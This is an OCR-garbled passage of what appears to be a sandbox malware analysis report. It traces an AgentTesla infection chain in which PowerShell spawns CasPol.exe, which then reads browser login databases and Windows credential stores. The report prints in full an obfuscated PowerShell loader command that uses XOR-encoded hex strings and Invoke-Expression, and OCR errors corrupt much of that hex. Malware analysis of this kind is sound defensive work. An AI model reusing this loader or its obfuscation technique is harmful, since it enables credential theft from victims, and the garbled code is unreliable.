File size: 452608 bytes
MDS5 hash: 04029E121A0CFA5991749937DD22A1D9

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: .Net C# or VB.NET
Reputation: moderate

File Activities

File Created
File Path Access Attributes Options Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Temp\ _PSscr read attributes |  device sequential only |  success or wait 1 7FF882E9517F CreateFileW
iptPolicyTest_ai3mehq5.lyv.ps1 synchronize | synchronous io
generic write non alert | non
directory file |
open no recall
C:\Users\user\AppData\Local\Temp\ _PSscr read attributes |  device sequential only |  success or wait 1 7FF882E9517F CreateFileW
iptPolicyTest_3jprOmil.ht2.psm1 synchronize | synchronous io
generic write non alert | non
directory file |
open no recall
C:\Windows\system32\catroot read data or list  device directory file | object name collision 1 7FF855D5D89F unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Windows\system32\catroot2 read data or list  device directory file | object name collision 1 7FF855D5D89F unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user read data or list  device directory file | object name collision 1 7FF8851EE04F unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming read data or list  device directory file | object name collision 1 7FF8851EE04F unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
File Deleted
File Path Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Temp\ _PSscriptPolicyTest_ai3mehqg5.lyv.ps1 success or wait 1 7FF882E8A731 DeleteFileW
C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_3jprOmil.ht2.psm1 success or wait 1 7FF882E8A731 DeleteFileW
File Written
File Path Offset Length Value Ascii Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Te 0 60 2320506f77657253  # PowerShell test fileto  success or wait 1 7FF882E8C9C8 WriteFile
mp\__PSscr 68 65 6¢ 6¢ 20 74 65 73  determine AppLocker
iptPolicyTest_ai3mehqg5.lyv.ps1 74 20 66 69 6¢ 6520 74  lockdown mode

6f 20 64 65 74 65 72 6d
69 6e 65 20 41 70 70 4c
6f 63 6b 65 72 20 6¢ 6f
63 6b 64 6f 77 6e 20 6d
6f 64 65 20
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File Path Value Ascii Completion Source Address Symbol
C:\Users\user\AppData\Local\Te 232050 6f77 657253  # PowerShell test file to  success or wait 7FF882E8CIC8 WriteFile
mp\__PSscr 68 65 6¢ 6¢ 20 74 65 73  determine AppLocker
iptPolicyTest_3jprOmil.ht2.psm1 742066 69 6¢ 6520 74  lockdown mode

6f 20 64 65 74 65 72 6d

69 6e 65 20 41 70 70 4c

6f 63 6b 65 72 20 6¢ 6f

63 6b 64 6f 77 6e 20 6d

6f 64 65 20
C:\Users\user\AppData\Local\Mi 0 64 4000000165000000 @e success or wait 1 7FF88577B239 WriteFile
crosoft\Windows\PowerShell\Sta 00 00 00 00 00 00 00 00
rtupProfileData-NonInteractive 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00
File Read
File Path Offset Length Completion Count Source Address Symbol
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FF8851EBBD3 unknown
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FF8851EBBD3 unknown
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 4095 success or wait 1 7FF8851EBBD3 unknown
ne.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 6135 success or wait 1 7FF8851EBBD3 unknown
ne.config
C:\Windows\assembly\Nativelmages_v4.0.30319_64\mscorlib\97c4 unknown 176 success or wait 1 7FF8851941D2 ReadFile
21700557a331a31041b81ac3b698\mscorlib.ni.dll.aux
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FF8851F17E6 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FF8851F17E6 ReadFile
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 4095 success or wait 1 7FF8851F17E6 ReadFile
ne.config
C:\Windows\assembly\Nativelmages_v4.0.30319_64\Microsoft.Pb3 unknown 1248 success or wait 1 7FF8851941D2 ReadFile
78ec07#\5a5aa4bd0e31ad780d3d411af88f91fc\Microsoft. PowerShel
I.ConsoleHost.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_64\System\372e99 unknown 620 success or wait 1 7FF8851941D2 ReadFile
62a41f186f070f1cb9f93273ee\System.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Core\d unknown 900 success or wait 1 7FF8851941D2 ReadFile
bf675a2e7564fd29ec8b82b29a1a2fe\System.Core.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Manaa5 unknown 2764 success or wait 1 7FF8851941D2 ReadFile

7fc8cc#\1a36bbd40fa7303b8f82824964c0f337\System.Management.A
utomation.ni.dll.aux

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FF8851EBBD3 unknown
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FF8851EBBD3 unknown
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FF8851EBBD3 unknown
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FF8851EBBD3 unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_64\Microsoft.Mf4 unknown 748 success or wait 1 7FF8851941D2 ReadFile
9f6405#\1a9dbe36222431068d63284a515217f7\Microsoft.Managemen

t.Infrastructure.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Manage unknown 764 success or wait 1 7FF8851941D2 ReadFile
ment\a00d58ba692a8febe63782689321bb04\System.Management.ni.d

Il.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Dired1 unknown 752 success or wait 1 7FF8851941D2 ReadFile
3b18a9#\79f99918023317d012fe2183f857bb1c\System.DirectorySer

vices.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Xml\ea unknown 748 success or wait 1 7FF8851941D2 ReadFile
b83bdd6eee1b956e2c8aef88914cc1\System. Xml.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Numeri unknown 300 success or wait 1 7FF8851941D2 ReadFile
¢s\0c073f42cf7c0b89bd4ceb4244060ceb\System.Numerics.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Data\8 unknown 1540 success or wait 1 7FF8851941D2 ReadFile

4aed1edd797cb6d561bc7bf355d46b2\System.Data.ni.dll.aux

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta unknown 64 success or wait 1 7FF8851CEAB7 ReadFile
rtupProfileData-NonlInteractive

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Config unknown 864 success or wait 1 7FF8851941D2 ReadFile
uration\053d057c90af827d0929a6aba7feabcf\System.Configuratio

n.ni.dll.aux

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 4095 success or wait 1 7FF8851EBBD3 unknown
ne.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 8171 end of file 1 7FF8851EBBD3 unknown
ne.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 4096 success or wait 1 7FF882E8C9C8 ReadFile
ne.config
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File Path Offset Length Completion
C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi unknown 4096 success or wait
ne.config

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi unknown 4096 success or wait
ne.config

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi unknown 4096 success or wait
ne.config

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machi unknown 4096 success or wait
ne.config

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4096 end of file
C:\Windows\assembly\Nativelmages_v4.0.30319_64\Microsoft.P6f unknown 1268 success or wait

792626#\eed480a49b61c30993f5872af5a0685e\Microsoft. PowerShel

1.Security.ni.dll.aux

C:\Windows\assembly\Nativelmages _v4.0.30319_64\System.Transa unknown 924 success or wait
ctions\8cf69b2ee1126c11a4965ce03cac7452\System. Transactions.

ni.dll.aux

Analysis Process: conhost.exe PID: 8248, Parent PID: 2556

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

3

15:50:34

01/12/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
0x7ff7b44d0000

875008 bytes
81CA40085FC75BABD2C91D18AA9FFA68

true

true

C, C++ or other language

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Offset Length Completion

Analysis Process: powershell.exe PID: 8364, Parent PID: 2556

General
Target ID:
Start time:
Start date:
Path:

Wow64 process (32bit):

4
15:50:36

01/12/2022
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
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Count Source Address

2

Count Source Address

7FF882E8C9C8

7FF882E8C9C8

7FF882E8C9C8

7FF882E8C9C8

7FF882E8C9C8

7FF8851941D2

7FF8851941D2

Symbol

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

Symbol
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Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function Smertensbarns0 { param([String]$Regionsplanlovs); $Delintervallernes =
New-Object byte[] ($Regionsplanlovs.Length / 2);  For($Klistringer=0; $Klistringer -It $Regionsplanlovs.Length; $Klistringer+=2){ $Delintervallernes[$Klist
ringer/2] = [convert]::ToByte($Regionsplanlovs.Substring($Klistringer, 2), 16); $Delintervallernes[$Klistringer/2] = ($Delintervallernes[$Klistringer/2] -bxor 165);

} [String][System.Text.Encoding]::ASCII.GetString($Delintervallernes);} $ForskningsresultatersO=Smertensbarns0 'F6DCD6D1C0C88BC1C9C9';$Forskni
ngsresultaters1=Smertensbarns0 'E8CCC6D7CAD6CAC3D18BF2CCCB96978BFOCBD6C4C3COEBC4D1CCD3COE8COD1CDCAC1D6';$Forskningsresul
taters2=Smertensbarns0 'E2COD1F5D7CAC6E4C1C1D7C0D6D6';$Forskningsresultaters3=Smertensbarns0 'F6DCD6D1C0C88BF7DOCBD1CCC8
C08BECCBD1C0D7CAD5F6C0D7D3CCC6COD6BBEDC4CBC1CICOF7C0C3';$Forskningsresultaters4=Smertensbarns0 'D6D1D7CCCBC2';$Forskning
sresultaters5=Smertensbarns0 'E2COD1E8CAC1D0C9COEDC4CBC1C9C0";$Forskningsresultaters6=Smertensbarns0 'F7F1F6D5C0C6CCC4CIEBC4C8C089
85EDCCC1COE7DCF6CCC28985F5D0C7CICCCH';$Forskningsresultaters7=Smertensbarns0 'F7DOCBD1CCC8C08985E8C4CBC4C2C0C1";$Forskni
ngsresultaters8=Smertensbarns0 'F7C0C3C9C0O0C6D1COCT1E1C0CICO0C2C4D1C0";$Forskningsresultaters9=Smertensbarns0 'ECCBES8COC8CAD7DCE8CACT
DOC9CO0';$Ghegish0=Smertensbarns0 'EBDCE1C0CI9C0C2C4D1COF1DCD5C0";$Ghegish1=Smertensbarns0 'E6CIC4D6D68985F5D0C7CICCCH8985
F6C0C4C9C0C18985E4CBD6CCEBCICAD6DE8IB5E4DOD1CAEBCICADEDE';$Ghegish2=Smertensbarns0 'ECCBD3CACECO0';$Ghegish3=Smertensbarns0
'F5D0C7C9CCCBE8985EDCCC1COE7DCF6CCC28985EBCOD2F6CICAD18985F3CCD7D1D0CACY" ;$Ghegish4=Smertensbarns0 'F3CCD7D1D0C4COE4C9
CI9CACE";$Ghegish5=Smertensbarns0 'CBD1C1C9C9';$Ghegish6=Smertensbarns0 'EBD1F5D7CAD1C0C6D1F3CCD7D1D0C4C9E8COCBCAD7DC';$G
hegish7=Smertensbarns0 'ECEOFD';$Ghegish8=Smertensbarns0 'F9";function fkp {Param ($Upgrown, $Depressionsperioder) ;$Hoeres0 =Smertensbarns0
'81EED7C8C8C0D7C0CB8598858DFEE4D5D5E1CAC8C4CCCBF89F9FE6DOD7D7COCBD1E1CAC8C4CCCB8BE2COD1E4D6DECOC8C7CICCCO
D68D8C85D985F2CDCOD7C088EAC7CFCOC6D185DE8581FA8BE2CI9CAC7C4CIE4DEDECOCBC7CIDCEBC4CE6CDC08588E4CBC18581FABBE9CACE
C4D1CCCACB8BF6D5C9CCD18D81E2CDC0C2CCD6CDIDBCFES894F88BE0D4D0C4C9D68D81E3CAD7D6CECBCCCBC2D6D7C0DEDOCID1C4D1C0OD7
D6958C85D88C8BE2C0OD1F1DCD5C08D81E3CAD7D6CECBCCCBC2D6D7C0D6D0CID1C4D1C0D7D6E948C ;& ($Ghegish7) $Hoeres0;$Hoeres5 = Smerten
sbarns0 '81E6CDCCC9C985988581EED7C8C8C0D7COCB8BE2COD1E8COD1CDCAC18D81E3CAD7D6CECBCCCBC2D6D7C0D6DOCID1C4D1COD7D
6978985FEF1DCD5COFEF8F885E58D81E3CAD7D6CECBCCCBC2D6D7C0DED0CID1C4D1C0D7D696898581 E3CAD7D6CECBCCCBC2D6D7C0DED0OC
9D1C4D1C0D7D6918C8C";&($Ghegish7) $Hoeres5;$Hoeres1 = Smertensbarns0 'D7C0D1D0D7CB8581E6CDCCCICI8BECCBD3CACEC08D81CBDOCY
C98985E58DFEF6DCD6D1C0C88BF7DOCBD1CCC8C08BECCBD1C0D7CAD5F6COD7D3CCC6COD68BEDC4CBC1CICOF7COC3F88DEBCOD288EAC7CF
C0C6D185F6DCD6D1C0OC88BF7DOCBD1CCC8CO8BECCBD1C0OD7CAD5F6C0D7D3CCC6COD6SBEDC4CBC1CICOF7C0C38D8DEBCOD288EAC7CFCOCE
D185ECCBD1F5D1D78C89858D81EED7C8C8C0D7COCB8BE2COD1E8COD1CDCAC18D81E3CAD7D6CECBCCCBC2D6D7C0D6DOCID1C4D1C0OD7D690
8C8C8BECCBD3CACEC08D81CBD0CIC98985E58D81F0D5C2D7CAD2CB8C8C8C8C898581E1C0D5D7C0D6D6CCCACBDED5COD7CCCAC1C0OD78C8C
":&($Ghegish7) $Hoeres1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Nondecorously,[Parameter(Position = 1)] [Type] $C
oeliomyalgia = [Void]);$Hoeres2 = Smertensbarns0 '81EDC4DCCBC0D6859885FEE4D5D5E1CAC8C4CCCBF89FIFE6DOD7D7COCBD1E1CAC8C4CC
CB8BE1C0C3CCCBCOE1DCCBC4C8CCC6E4D6D6COC8C7CIDC8DEDEBCOD288EAC7CFCOCED185F6DCDED1C0OC88BF7C0C3CI9COCE6D1CCCACBBBE4
D6D6C0C8C7CIDCEBC4C8C08D81E3CAD7DE6CECBCCCBC2D6D7C0D6DOCID1C4D1C0OD7D69DBC8CE985FEF6DCDED1COC88BF7COC3CICOC6D1CC
CACB8BEOC8CCD18BE4D6D6C0C8C7CIDCE7DOCCCIC1COD7E4C6C6COD6DEF89FIFF7DOCB8C8BE1COC3CCCBCOE1DCCBC4C8CCC6E8CACTDOCY
C08D81E3CAD7D6CECBCCCBC2D6D7C0D6D0CID1C4D1C0D7D69C898581C3C4CIDECO8CEBE1COC3CCCBCOF1DCD5C08D81E2CDC0C2CCD6CDI5
898581E2CDC0C2CCD6CD948985FEF6DCDED1COC88BEBDOCID1CCCHC4D6D1E1COCICOC2C4D1COF88C ;&($Ghegish7) $Hoeres2;$Hoeres3 = Smert
ensbarns0 '81EDC4DCCBCOD68BE1C0C3CCCBCOE6CACBD6D1D7D0C6D1CAD78D81E3CAD7D6CECBCCCBC2D6D7C0DED0CID1C4D1C0D7D6938
985FEF6DCD6D1C0C88BF7C0C3C9C0C6D1CCCACB8BESC4CICICCCBC2E6CACBD3COCBD1CCCACBDEF89FIFF6D1C4CBC1C4D7C1898581EBCAC
BC1C0C6CAD7CADOD6CIDC8C8BF6COD1ECC8D5CICOC8COCBD1C4D1CCCACBE3C9C4C2D68D81E3CAD7D6CECBCCCBC2D6D7C0DED
0C9D1C4D1C0D7D6928C";&($Ghegish7) $Hoeres3;$Hoeres4 = Smertensbarns0 '81EDC4DCCBCOD68BE1C0C3CCCBCOE8COD1CDCAC18D81E2CDCO
C2CCD6CDY7898581E2CDCOC2CCD6CDI6898581E6CACOCICCCACBDCC4CIC2CCC4898581 EBCACBC1COC6CAD7CADOD6CIDCBC8BF6CODT1ECCS
D5C9C0C8COCBD1C4D1CCCACBE3C9C4C2D68D81E3CAD7DECECBCCCBC2D6D7C0DED0CID1C4D1C0D7D6928C";&($Ghegish7) $Hoeres4;$Hoeress =
Smertensbarns0 'D7C0D1D0D7CB8581EDC4DCCBCOD68BE6D7C0C4D1COF1DCD5C08D8C";&($Ghegish7) $Hoeres5 ;}$Uncouple = Smertensbarns0
'CECOD7CBC0C99697";$Hoeres6 = Smertensbarns0 '81F2C0D7C0D7C4D1859885FEF6DCD6D1C0C88BF7DOCBD1CCC8C08BECCBD1COD7CADSF6
C0OD7D3CCC6COD68BE8C4D7D6CDC4CIF89FIFE2COD1E1C0CIC0C2C4D1COE3CAD7E3DOCBC6D1CCCACBF5CACCCBD1C0D78D8DC3CED58581F0
CBC6CADOD5C9C08581E2CDC0C2CCD6CD918C89858DE2E1F185E58DFEECCBD1F5D1D7F88985FEFOECCBD19697F88985FEFOECCBD19697F8
8985FEFOECCBD19697F88C858DFEECCBD1F5D1D7F88C8C8C";&($Ghegish7) $Hoeres6;$Dmningsprojekter = fkp $Ghegish5 $Ghegish6;$Hoeres7 = Sme
rtensbarns0 '‘81F6DOCECEC0D7CAD3C0D7D1D7CECEC0D1D69685988581F2C0D7C0D7C4D18BECCBD3CACEC08DFEECCBD1F5D1D7F89F9FF
FCOD7CA898596909C898595DD96959595898595DD91958C";& ($Ghegish7) $Hoeres7;$Hoeres8 = Smertensbarns0 '8 1E6CAD7D7CAC7C7CAD7C0O
C085988581F2C0D7C0D7C4D18BECCBD3CACEC08DFEECCBD1F5D1D7F89F9FFFCOD7CA898595DD949595959595898595DD96959595898595
DD918C";&($Ghegish7) $Hoeres8;$Cartwrighting=(Get-ItemProperty -Path 'HKCU:\Pseudambulacrum\konstitutionel').Bjfs;$Hoeres9 = Smertensbarns0
'‘81EDCAC0D7C0D6859885FEF6DCD6D1C0C88BE6CACBD3C0D7D1F89FIFE3D7CAC8E7C4D6C09391F6D1D7CCCBC28D81E6C4D7D1D2D7CCC2C
DD1CCCBC28C";&($Ghegish7) $Hoeres9;$Cartwrighting0d = Smertensbarns0 'FEF6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0OD
7D3CCC6COD68BE8C4D7D6CDC4CIF8IFIFE6CAD5DC8D81EDCACOD7C0D689859589858581F6DOCECECOD7CAD3C0D7D1D7CECECOD1D696898
596909C8C";&($Ghegish7) $Cartwrighting0;$Noncondiment2=$Hoeres.count-359;$Cartwrighting1 = Smertensbarns0 'FEF6DCD6D1C0C88BF7DOCBD
1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6CODE8BE8C4D7D6CDC4CIF8IFIFE6CAD5DC8D81EDCACOD7C0D6898596909C898581E6CAD7D7C
AC7C7CAD7C0C0898581 EBCACBC6CACBC1CCC8C0CBD1978C";&($Ghegish7) $Cartwrighting1;$Cartwrighting2 = Smertensbarns0 '81CEC9C4
D7C2CFCAD7C1C0859885FEF6DCD6D1C0C88BF7D0CBD1CCC8C08BECCBD1C0D7CAD5F6C0D7D3CCC6CODE8BE8C4D7D6CDC4CIF89FIFE2CODT
E1C0C9C0C2C4D1COE3CAD7E3D0OCBC6D1CCCACBF5CACCCBD1C0D78D81F6DOCECECOD7CAD3C0D7D1D7CECECOD1D69689858DE2E1F185E58D
FEECCBD1F5D1D7F889FEECCBD1F5D1D7F88C858DFEF3CACCC1F88C8C8C';&($Ghegish7) $Cartwrighting2;$Cartwrighting3 = Smertensbarns0
'81CEC9C4D7C2CFCAD7C1C08BECCBD3CACEC08D81E6CAD7D7CAC7C7CAD7C0C08981E1C8CBCCCBC2D6D5D7CACFCOCED1C0D78C";&($Gh
egish7) $Cartwrighting3#

433152 bytes
C32CA4ACFCC635EC1EABED8BA34DF5FAC

C, C++ or other language

moderate

Analysis Process: CasPol.exe PID: 392, Parent PID: 8364

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

7

15:50:54

01/12/2022

C:\Windows\Microsoft. NET\Framework\v2.0.50727\CasPol.exe
true

C:\Windows\Microsoft. NET\Framework\v2.0.50727\caspol.exe
0x9b0000

106496 bytes
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MDS5 hash: 7BAE06CBE364BB42B8C34FCFB90E3EBD

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: .Net C# or VB.NET

Yara matches: « Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
« Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source:
00000007.00000002.6671341455.000000001D701000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Reputation: moderate

File Activities

File Created
File Path Access Attributes Options Completion Count Source Address Symbol
C:\Users\user read data or list  device directory file | object name collision 1 7380614C unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming read data or list  device directory file | object name collision 1 7380614C unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user read data or list  device directory file | object name collision 1 7380614C unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming read data or list  device directory file | object name collision 1 7380614C unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
File Written
File Path Offset Length Value Ascii Completion Count Source Address Symbol
\Device\ConDrv 0 0 75 6e 6b 6e 6f 77 6e unknown success or wait 1 1FE309CF WriteFile
\Device\ConDrv 30 30 75 6e 6b 6e 6f 77 6e unknown success or wait 1 1FE309CF WriteFile
File Read
File Path Offset Length Completion Count Source Address Symbol
C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine unknown 4095 success or wait 1 738355E4 unknown
.config
C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine unknown 6304 success or wait 3 738355E4 unknown
.config
C:\Windows\Microsoft. NET\Framework\v2.0.50727\caspol.exe.config unknown 4095 success or wait 1 738355E4 unknown
C:\Windows\Microsoft. NET\Framework\v2.0.50727\caspol.exe.config unknown 8173 end of file 1 738355E4 unknown
C:\Windows\Microsoft. NET\Framework\v2.0.50727\caspol.exe.config unknown 4095 success or wait 1 738387D8 ReadFile
C:\Windows\Microsoft. NET\Framework\v2.0.50727\caspol.exe.config unknown 8173 end of file 1 738387D8 ReadFile
C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine unknown 4095 success or wait 1 738387D8 ReadFile
.config
C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine unknown 4095 success or wait 1 738355E4 unknown
.config
C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine unknown 8175 end of file 1 738355E4 unknown
.config
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login unknown 45056 success or wait 1 1FE309CF ReadFile
Data
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 4096 success or wait 1 1FE309CF ReadFile
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 4096 success or wait 26 1FE309CF ReadFile
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 4096 end of file 1 1FE309CF ReadFile
C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown 4096 success or wait 1 1FE309CF ReadFile
C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown 4096 end of file 1 1FE309CF ReadFile
C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown 4096 success or wait 1 1FE309CF ReadFile
C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown 4096 end of file 1 1FE309CF ReadFile
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data unknown 49152 success or wait 1 1FE309CF ReadFile
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File Path Offset Length Completion Count Source Address Symbol

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 4096 success or wait 1 1FE309CF ReadFile
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 4096 success or wait 7 1FE309CF ReadFile
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 624 end of file 1 1FE309CF ReadFile
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 4096 end of file 1 1FE309CF ReadFile
C:\Users\user\AppData\Local\Microsoft\Credentials\93CE54EBD7 unknown 4096 success or wait 1 1FE309CF ReadFile
2B5E2187F75E8118A14612

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-3425316567-  unknown 4096 success or wait 2 1FE309CF ReadFile
2969588382-3778222414-1001\d27df7c0-59f1-4688-ab18-52bdcb79f944

C:\Users\user\AppData\Local\Microsoft\Credentials\93CE54EBD7 unknown 4096 success or wait 1 1FE309CF ReadFile
2B5E2187F75E8118A14612

C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5 unknown 11104 success or wait 1 1FE309CF ReadFile
CC19A398EBF1B96859CE5D

C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5 unknown 11104 success or wait 1 1FE309CF ReadFile
CC19A398EBF1B96859CE5D

C:\Program Files (x86)\\Downloader\config\database.script unknown 4096 success or wait 1 1FE309CF ReadFile
C:\Program Files (x86)\\Downloader\config\database.script unknown 4096 end of file 1 1FE309CF ReadFile
C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe.config unknown 4095 success or wait 1 738355E4 unknown
C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe.config unknown 8173 end of file 1 738355E4 unknown
C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine unknown 4096 success or wait 1 1FE309CF ReadFile
.config

C:\Windows\Microsoft. NET\Framework\v2.0.50727\CONFIG\machine unknown 4096 end of file 1 1FE309CF ReadFile
.config

C:\Windows\Microsoft. NET\Framework\v2.0.50727\caspol.exe.config unknown 4096 success or wait 1 1FE309CF ReadFile
C:\Windows\Microsoft. NET\Framework\v2.0.50727\caspol.exe.config unknown 4096 end of file 1 1FE309CF ReadFile

Registry Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path Completion Count Source Address Symbol
Key Path Name Type Data Completion Count Source Address Symbol
Disassembly

@ No disassembly
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